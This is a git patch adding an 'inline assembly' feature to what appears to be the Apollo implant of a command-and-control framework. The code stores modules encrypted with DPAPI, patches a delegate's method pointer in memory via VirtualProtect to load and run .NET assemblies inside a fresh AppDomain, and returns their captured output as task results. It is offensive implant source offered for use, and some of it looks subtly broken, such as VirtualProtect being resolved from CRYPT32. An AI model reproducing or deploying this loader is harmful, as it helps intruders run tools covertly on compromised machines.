From c698ddbbbb38a9c0ff272b22ed23df43f847d6cf Mon Sep 17 00:00:00 2001 From: mayllart <14459910+thiagomayllart@users.noreply.github.com> Date: Wed, 29 Dec 2021 00:49:26 -0300 Subject: [PATCH] Inline Assembly files added --- .../Management/Files/DpapiFileManager.cs | 151 +++++++++++ .../Interfaces/IDpapiFileManager.cs | 25 ++ .../ApolloInterop/Utils/DarkMelkorUtils.cs | 110 ++++++++ .../DPAPI/DpapiFileStore.cs | 42 +++ .../agent_code/Tasks/inline_assembly.cs | 247 ++++++++++++++++++ 5 files changed, 575 insertions(+) create mode 100644 Payload_Type/apollo/agent_code/Apollo/Management/Files/DpapiFileManager.cs create mode 100644 Payload_Type/apollo/agent_code/ApolloInterop/Interfaces/IDpapiFileManager.cs create mode 100644 Payload_Type/apollo/agent_code/ApolloInterop/Utils/DarkMelkorUtils.cs create mode 100644 Payload_Type/apollo/agent_code/EncryptedFileStore/DPAPI/DpapiFileStore.cs create mode 100644 Payload_Type/apollo/agent_code/Tasks/inline_assembly.cs diff --git a/Payload_Type/apollo/agent_code/Apollo/Management/Files/DpapiFileManager.cs b/Payload_Type/apollo/agent_code/Apollo/Management/Files/DpapiFileManager.cs new file mode 100644 index 00000000..22ee9674 --- /dev/null +++ b/Payload_Type/apollo/agent_code/Apollo/Management/Files/DpapiFileManager.cs @@ -0,0 +1,151 @@ +using System; +using System.Text; +using ApolloInterop.Interfaces; +using static ApolloInterop.Structs.Win32; +using static ApolloInterop.Enums.Win32; +using System.Runtime.InteropServices; +using ApolloInterop.Classes.Api; +using AI = ApolloInterop.Classes.Core; +using EncryptedFileStore.Dpapi; + +namespace Apollo.Management.Files +{ + public sealed class DpapiFileManager : IDpapiFileManager + { + public static Byte[] bEntropy = { 0x90, 0x91, 0x92, 0x93 }; + public static int CRYPTPROTECT_LOCAL_MACHINE = 0x4; + + CryptProtectData _pCryptProtectData; + CryptUnprotectData _pCryptUnprotectData; + LocalFree _pLocalFree; + RtlZeroMemory _pRtlZeroMemory; + + private IAgent _agent; + private IEncryptedFileStore _dpapifileStore; + + private delegate bool CryptProtectData( + ref DATA_BLOB pPlainText, + string szDescription, + ref DATA_BLOB pEntropy, + IntPtr pReserved, + IntPtr pPrompt, + int dwFlags, + ref DATA_BLOB pCipherText); + + private delegate bool CryptUnprotectData( + ref DATA_BLOB pCipherText, + ref string pszDescription, + ref DATA_BLOB pEntropy, + IntPtr pReserved, + IntPtr pPrompt, + int dwFlags, + ref DATA_BLOB pPlainText); + + public delegate IntPtr LocalFree( + IntPtr hMem); + + public delegate void RtlZeroMemory( + IntPtr Destination, + int length); + + + public DpapiFileManager(IAgent agent) + { + _agent = agent; + _dpapifileStore = new DpapiFileStore(_agent); + _pCryptProtectData = agent.GetApi().GetLibraryFunction(Library.CRYPT32, "CryptProtectData"); + _pCryptUnprotectData = agent.GetApi().GetLibraryFunction(Library.CRYPT32, "CryptUnprotectData"); + _pLocalFree = agent.GetApi().GetLibraryFunction(Library.KERNEL32, "LocalFree"); + _pRtlZeroMemory = agent.GetApi().GetLibraryFunction(Library.NTDLL, "RtlZeroMemory"); + + } + + public DPAPI_MODULE dpapiEncryptModule(Byte[] bMod, String sModName, Int32 iModVersion = 0) + { + + + DPAPI_MODULE dpMod = new DPAPI_MODULE(); + + DATA_BLOB oPlainText = makeBlob(bMod); + DATA_BLOB oCipherText = new DATA_BLOB(); + DATA_BLOB oEntropy = makeBlob(bEntropy); + + Boolean bStatus = _pCryptProtectData(ref oPlainText, sModName, ref oEntropy, IntPtr.Zero, IntPtr.Zero, CRYPTPROTECT_LOCAL_MACHINE, ref oCipherText); + if (bStatus) + { + dpMod.sModName = sModName; + dpMod.iModVersion = iModVersion; + dpMod.iModSize = oCipherText.cbData; + dpMod.pMod = oCipherText.pbData; + } + + return dpMod; + } + public DPAPI_MODULE dpapiDecryptModule(DPAPI_MODULE oEncMod) + { + DPAPI_MODULE oMod = new DPAPI_MODULE(); + + Byte[] bEncrypted = new Byte[oEncMod.iModSize]; + Marshal.Copy(oEncMod.pMod, bEncrypted, 0, oEncMod.iModSize); + + DATA_BLOB oPlainText = new DATA_BLOB(); + DATA_BLOB oCipherText = makeBlob(bEncrypted); + DATA_BLOB oEntropy = makeBlob(bEntropy); + + String sDescription = String.Empty; + Boolean bStatus = _pCryptUnprotectData(ref oCipherText, ref sDescription, ref oEntropy, IntPtr.Zero, IntPtr.Zero, 0, ref oPlainText); + if (bStatus) + { + oMod.pMod = oPlainText.pbData; + oMod.bMod = new Byte[oPlainText.cbData]; + Marshal.Copy(oPlainText.pbData, oMod.bMod, 0, oPlainText.cbData); + oMod.iModSize = oPlainText.cbData; + oMod.iModVersion = oEncMod.iModVersion; + } + + return oMod; + } + public void freeMod(DPAPI_MODULE oMod) + { + //IntPtr piLen = (IntPtr)oMod.iModSize; + //NtFreeVirtualMemory((IntPtr)(-1), ref oMod.pMod, ref piLen, AllocationType.Release); + _pLocalFree(oMod.pMod); + } + + public DATA_BLOB makeBlob(Byte[] bData) + { + DATA_BLOB oBlob = new DATA_BLOB(); + + oBlob.pbData = Marshal.AllocHGlobal(bData.Length); + oBlob.cbData = bData.Length; + _pRtlZeroMemory(oBlob.pbData, bData.Length); + Marshal.Copy(bData, 0, oBlob.pbData, bData.Length); + + return oBlob; + } + + public bool AddFileToStore(string keyName, byte[] data) + { + DPAPI_MODULE dpMod = dpapiEncryptModule(data, null, 0); + return _dpapifileStore.TryAddOrUpdate(keyName, dpMod); + } + + public bool GetFileFromStore(string keyName, out DPAPI_MODULE data) + { + try + { + _dpapifileStore.TryGetValue(keyName, out data); + DPAPI_MODULE oMod = dpapiDecryptModule(data); + data = oMod; + return true; + } + catch + { + data = new DPAPI_MODULE(); + return false; + } + } + + + } +} diff --git a/Payload_Type/apollo/agent_code/ApolloInterop/Interfaces/IDpapiFileManager.cs b/Payload_Type/apollo/agent_code/ApolloInterop/Interfaces/IDpapiFileManager.cs new file mode 100644 index 00000000..45ede0d2 --- /dev/null +++ b/Payload_Type/apollo/agent_code/ApolloInterop/Interfaces/IDpapiFileManager.cs @@ -0,0 +1,25 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using static ApolloInterop.Enums.Win32; +using static ApolloInterop.Structs.Win32; + +namespace ApolloInterop.Interfaces +{ + public interface IDpapiFileManager + { + DPAPI_MODULE dpapiEncryptModule(Byte[] bMod, String sModName, Int32 iModVersion = 0); + + DPAPI_MODULE dpapiDecryptModule(DPAPI_MODULE oEncMod); + + void freeMod(DPAPI_MODULE oMod); + + DATA_BLOB makeBlob(Byte[] bData); + + bool AddFileToStore(string keyName, byte[] data); + + bool GetFileFromStore(string keyName, out DPAPI_MODULE data); + + } +} diff --git a/Payload_Type/apollo/agent_code/ApolloInterop/Utils/DarkMelkorUtils.cs b/Payload_Type/apollo/agent_code/ApolloInterop/Utils/DarkMelkorUtils.cs new file mode 100644 index 00000000..601f7828 --- /dev/null +++ b/Payload_Type/apollo/agent_code/ApolloInterop/Utils/DarkMelkorUtils.cs @@ -0,0 +1,110 @@ +using System; +using System.IO; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using ApolloInterop.Classes.Api; +using ApolloInterop.Interfaces; +using System.Reflection; + + + +namespace ApolloInterop.Utils +{ + public class DarkMelkorUtils + { + static VirtualProtect _pVirtualProtect; + + private delegate bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); + + public DarkMelkorUtils(IAgent agent) + { + //_pCryptProtectData = agent.GetApi().GetLibraryFunction(Library.CRYPT32, "CryptProtectData"); + _pVirtualProtect = agent.GetApi().GetLibraryFunction(Library.CRYPT32, "VirtualProtect"); + + } + public static string loadAppDomainModule(String[] sParams, Byte[] bMod) + { + string result = ""; + var bytes = bMod; + AppDomain isolationDomain = AppDomain.CreateDomain(Guid.NewGuid().ToString()); + isolationDomain.SetData("str", sParams); + bool default_domain = AppDomain.CurrentDomain.IsDefaultAppDomain(); + try + { + isolationDomain.Load(bMod); + } + catch { } + var Sleeve = new CrossAppDomainDelegate(Console.Beep); + var Ace = new CrossAppDomainDelegate(ActivateLoader); + + RuntimeHelpers.PrepareDelegate(Sleeve); + RuntimeHelpers.PrepareDelegate(Ace); + + var flags = BindingFlags.Instance | BindingFlags.NonPublic; + var codeSleeve = (IntPtr)Sleeve.GetType().GetField("_methodPtrAux", flags).GetValue(Sleeve); + var codeAce = (IntPtr)Ace.GetType().GetField("_methodPtrAux", flags).GetValue(Ace); + + int[] patch = new int[3]; + + patch[0] = 10; + patch[1] = 11; + patch[2] = 12; + + uint oldprotect = 0; + _pVirtualProtect(codeSleeve, new UIntPtr((uint)patch[2]), 0x4, out oldprotect); + Marshal.WriteByte(codeSleeve, 0x48); + Marshal.WriteByte(IntPtr.Add(codeSleeve, 1), 0xb8); + Marshal.WriteIntPtr(IntPtr.Add(codeSleeve, 2), codeAce); + Marshal.WriteByte(IntPtr.Add(codeSleeve, patch[0]), 0xff); + Marshal.WriteByte(IntPtr.Add(codeSleeve, patch[1]), 0xe0); + _pVirtualProtect(codeSleeve, new UIntPtr((uint)patch[2]), oldprotect, out oldprotect); + try + { + isolationDomain.DoCallBack(Sleeve); + } + catch (Exception ex) + { + } + string str = isolationDomain.GetData("str") as string; + result = str; + unloadAppDomain(isolationDomain); + return result; + } + + static void ActivateLoader() + { + string[] str = AppDomain.CurrentDomain.GetData("str") as string[]; + string output = ""; + foreach (var asm in AppDomain.CurrentDomain.GetAssemblies()) + { + if (!asm.FullName.Contains("mscor")) + { + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + TextWriter stdOutWriter = new StringWriter(); + TextWriter stdErrWriter = new StringWriter(); + Console.SetOut(stdOutWriter); + Console.SetError(stdErrWriter); + var result = asm.EntryPoint.Invoke(null, new object[] { str }); + + Console.Out.Flush(); + Console.Error.Flush(); + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + + output = stdOutWriter.ToString(); + output += stdErrWriter.ToString(); + } + } + AppDomain.CurrentDomain.SetData("str", output); + + } + + public static void unloadAppDomain(AppDomain oDomain) + { + AppDomain.Unload(oDomain); + } + + + } +} diff --git a/Payload_Type/apollo/agent_code/EncryptedFileStore/DPAPI/DpapiFileStore.cs b/Payload_Type/apollo/agent_code/EncryptedFileStore/DPAPI/DpapiFileStore.cs new file mode 100644 index 00000000..f31171c2 --- /dev/null +++ b/Payload_Type/apollo/agent_code/EncryptedFileStore/DPAPI/DpapiFileStore.cs @@ -0,0 +1,42 @@ +using ApolloInterop.Interfaces; +using System; +using System.Collections.Generic; +using System.Collections.Concurrent; +using System.Linq; +using System.Text; +using static ApolloInterop.Structs.Win32; + +namespace EncryptedFileStore.Dpapi +{ + public class DpapiFileStore : DpapiEncryptedFileStore + { + public DpapiFileStore(IAgent agent) : base(agent) + { } + + public override string GetScript() + { + return Encoding.UTF8.GetString(_currentScript); + } + + public override void SetScript(string script) + { + SetScript(Encoding.UTF8.GetBytes(script)); + } + + public override void SetScript(byte[] script) + { + _currentScript = script; + } + + public override bool TryAddOrUpdate(string keyName, DPAPI_MODULE data) + { + return _dpapifileStore.TryAdd(keyName, data); + } + + public override bool TryGetValue(string keyName, out DPAPI_MODULE data) + { + + return _dpapifileStore.TryGetValue(keyName, out data); + } + } +} diff --git a/Payload_Type/apollo/agent_code/Tasks/inline_assembly.cs b/Payload_Type/apollo/agent_code/Tasks/inline_assembly.cs new file mode 100644 index 00000000..54fb4448 --- /dev/null +++ b/Payload_Type/apollo/agent_code/Tasks/inline_assembly.cs @@ -0,0 +1,247 @@ +#define COMMAND_NAME_UPPER + +#if DEBUG +#define INLINE_ASSEMBLY +#endif + +#if INLINE_ASSEMBLY + +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using ApolloInterop.Classes; +using ApolloInterop.Interfaces; +using ApolloInterop.Structs.MythicStructs; +using System.Runtime.Serialization; +using ApolloInterop.Serializers; +using System.Threading; +using System.IO; +using System.Collections.Concurrent; +using System.IO.Pipes; +using ApolloInterop.Structs.ApolloStructs; +using ApolloInterop.Classes.Core; +using ApolloInterop.Classes.Collections; +using ApolloInterop.Utils; +using static ApolloInterop.Structs.Win32; + + +namespace Tasks +{ + public class inline_assembly : Tasking + { + [DataContract] + internal struct InlineAssemblyParameters + { + [DataMember(Name = "pipe_name")] + public string PipeName; + [DataMember(Name = "assembly_name")] + public string AssemblyName; + [DataMember(Name = "assembly_arguments")] + public string AssemblyArguments; + [DataMember(Name = "loader_stub_id")] + public string LoaderStubId; + } + + private AutoResetEvent _senderEvent = new AutoResetEvent(false); + private ConcurrentQueue _senderQueue = new ConcurrentQueue(); + private JsonSerializer _serializer = new JsonSerializer(); + private AutoResetEvent _complete = new AutoResetEvent(false); + private Action _sendAction; + + private Action _flushMessages; + private ThreadSafeList _assemblyOutput = new ThreadSafeList(); + private bool _completed = false; + public string[] SplitCommandLine(string commandLine) + { + bool inQuotes = false; + + string cmdline = commandLine.Trim(); + List cmds = new List(); + string curCmd = ""; + for (int i = 0; i < cmdline.Length; i++) + { + char c = cmdline[i]; + if (c == '\"' || c == '\'') + inQuotes = !inQuotes; + if (!inQuotes && c == ' ') + { + cmds.Add(curCmd); + curCmd = ""; + } + else + { + curCmd += c; + } + } + if (!string.IsNullOrEmpty(curCmd)) + cmds.Add(curCmd); + string[] results = cmds.ToArray(); + for (int i = 0; i < results.Length; i++) + { + if (results[i].Length > 2) + { + if (results[i][0] == '\"' && results[i][results[i].Length - 1] == '\"') + results[i] = results[i].Substring(1, results[i].Length - 2); + else if (results[i][0] == '\'' && results[i][results[i].Length - 1] == '\'') + results[i] = results[i].Substring(1, results[i].Length - 1); + } + } + return results; + } + public inline_assembly(IAgent agent, Task task) : base(agent, task) + { + _sendAction = (object p) => + { + PipeStream ps = (PipeStream)p; + while (ps.IsConnected && !_cancellationToken.IsCancellationRequested) + { + WaitHandle.WaitAny(new WaitHandle[] + { + _senderEvent, + _cancellationToken.Token.WaitHandle + }); + if (!_cancellationToken.IsCancellationRequested && ps.IsConnected && _senderQueue.TryDequeue(out byte[] result)) + { + ps.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, p); + } + } + ps.Close(); + _complete.Set(); + }; + + _flushMessages = (object p) => + { + string output = ""; + while (!_cancellationToken.IsCancellationRequested && !_completed) + { + WaitHandle.WaitAny(new WaitHandle[] + { + _complete, + _cancellationToken.Token.WaitHandle + }, 1000); + output = string.Join("", _assemblyOutput.Flush()); + if (!string.IsNullOrEmpty(output)) + { + _agent.GetTaskManager().AddTaskResponseToQueue( + CreateTaskResponse( + output, + false, + "")); + } + } + output = string.Join("", _assemblyOutput.Flush()); + if (!string.IsNullOrEmpty(output)) + { + _agent.GetTaskManager().AddTaskResponseToQueue( + CreateTaskResponse( + output, + false, + "")); + } + }; + } + + public override void Kill() + { + _completed = true; + _cancellationToken.Cancel(); + _complete.Set(); + } + + public override System.Threading.Tasks.Task CreateTasking() + { + return new System.Threading.Tasks.Task(() => + { + TaskResponse resp; + Process proc = null; + try + { + InlineAssemblyParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); + if (string.IsNullOrEmpty(parameters.LoaderStubId) || + string.IsNullOrEmpty(parameters.AssemblyName) || + string.IsNullOrEmpty(parameters.PipeName)) + { + resp = CreateTaskResponse( + $"One or more required arguments was not provided.", + true, + "error"); + } + else + { + if (_agent.GetDpapiManager().GetFileFromStore(parameters.AssemblyName, out DPAPI_MODULE dpapiMod)) + { + if (_agent.GetFileManager().GetFile(_cancellationToken.Token, _data.ID, parameters.LoaderStubId, out byte[] exeAsmPic)) + { + + byte[] ByteData = dpapiMod.bMod; + string[] StringData = SplitCommandLine(parameters.AssemblyArguments); + + string output = ""; + + output = DarkMelkorUtils.loadAppDomainModule(StringData, ByteData); + _agent.GetDpapiManager().freeMod(dpapiMod); + if (!string.IsNullOrEmpty(output)) + { + _agent.GetTaskManager().AddTaskResponseToQueue( + CreateTaskResponse( + output, + false, + "")); + } + } + else + { + resp = CreateTaskResponse( + $"Failed to download assembly loader stub (with id: {parameters.LoaderStubId})", + true, + "error"); + } + } + else + { + resp = CreateTaskResponse($"{parameters.AssemblyName} is not loaded (have you registered it?)", true); + } + } + } + catch (Exception ex) + { + resp = CreateTaskResponse($"Unexpected error: {ex.Message}\n\n{ex.StackTrace}", true, "error"); + } + }, _cancellationToken.Token); + } + + private void Client_Disconnect(object sender, NamedPipeMessageArgs e) + { + e.Pipe.Close(); + _completed = true; + _cancellationToken.Cancel(); + _complete.Set(); + } + + private void Client_ConnectionEstablished(object sender, NamedPipeMessageArgs e) + { + System.Threading.Tasks.Task.Factory.StartNew(_sendAction, e.Pipe, _cancellationToken.Token); + System.Threading.Tasks.Task.Factory.StartNew(_flushMessages, _cancellationToken.Token); + } + + public void OnAsyncMessageSent(IAsyncResult result) + { + PipeStream pipe = (PipeStream)result.AsyncState; + // Potentially delete this since theoretically the sender Task does everything + if (pipe.IsConnected && !_cancellationToken.IsCancellationRequested && _senderQueue.TryDequeue(out byte[] data)) + { + pipe.EndWrite(result); + pipe.BeginWrite(data, 0, data.Length, OnAsyncMessageSent, pipe); + } + } + + private void Client_MessageReceived(object sender, NamedPipeMessageArgs e) + { + IPCData d = e.Data; + string msg = Encoding.UTF8.GetString(d.Data.Take(d.DataLength).ToArray()); + _assemblyOutput.Add(msg); + } + } +} +#endif \ No newline at end of file